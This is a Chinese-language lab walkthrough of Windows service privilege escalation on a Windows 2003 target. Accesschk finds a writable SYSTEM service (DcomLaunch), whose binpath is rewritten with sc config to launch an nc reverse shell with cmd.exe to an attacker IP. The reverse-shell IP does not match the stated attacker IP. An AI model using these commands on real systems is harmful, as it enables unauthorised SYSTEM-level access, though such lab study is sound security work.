用到的工具:accesschk,这个工具可以用来检查用户和用户组对文件,目录,注册表项,全局对象和系统服务的权限,在实际配置权限过程中,如果权限设置不当,那么win服务就可能被用于提权。
下载链接:
https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
具体介绍:http://blog.51cto.com/rangercyh/497497
第一次运行会出现一个许可弹窗,可以执行 accesschk.exe /accepteula 来避免弹窗
实验环境 :
靶机: win2003 sp2 IP:192.168.133.130
攻击机: win7 IP:192.168.133.128
在靶机添加一个用户test,并加入到本地组power users组中
执行命令:
accesschk.exe -uwcqv "Power Users" *
来显示Power User组可以操作的服务名称信息
-u :抑制错误
-w:仅显示具有写访问权限的对象
-c:显示服务名称,输入* 用户与显示所有服务
-q:省略标识
-v:冗长(包括WINDOUWS VISTA完整性级别)
前面的RW表示有读写权限,其中服务名称为“DcomLaunch”和“kdc”服务可以被simeon用户操作
这里我选“DcomLaunch” 进行测试
然后使用“sc qc DcomLaunch”命令查询DcomLaunch的详细信息
可以看到是以系统权限运行的
然后我们在看下是否启动了 net start | find "DCOM Server Process Launcher"
说明服务是启动的
然后在获取这个服务名称提供的服务
运行 tasklist /svc 找到对应服务
接下来就是修改服务并获取系统权限
这里我们还要配置使用nc反弹shell到我的攻击机上
我们把nc放到c:\windows\temp目录下
使用sc对服务进行修改
sc config DcomLaunch binpath= "C:\windows\temp\nc.exe" -nv 192.168.193.131 4433 -e "C:\WINDOWS\system32\cmd.exe"
*注意binpath=后面一定要有个空格
我们在查询下服务
obj:指定运行服务将使用的帐户名,或指定运行驱动程序将使用的 Windows 驱动程序对象名。默认设置为 LocalSystem。
password:指定一个密码。如果使用了非 LocalSystem 的帐户,则此项是必需的。
最后使用 net start DcomLaunch 命令(也可以用ms12-020打蓝屏)重启这个服务
攻击机上用nc进行监听4433即可得到反弹的shell
nc -lvvp 4433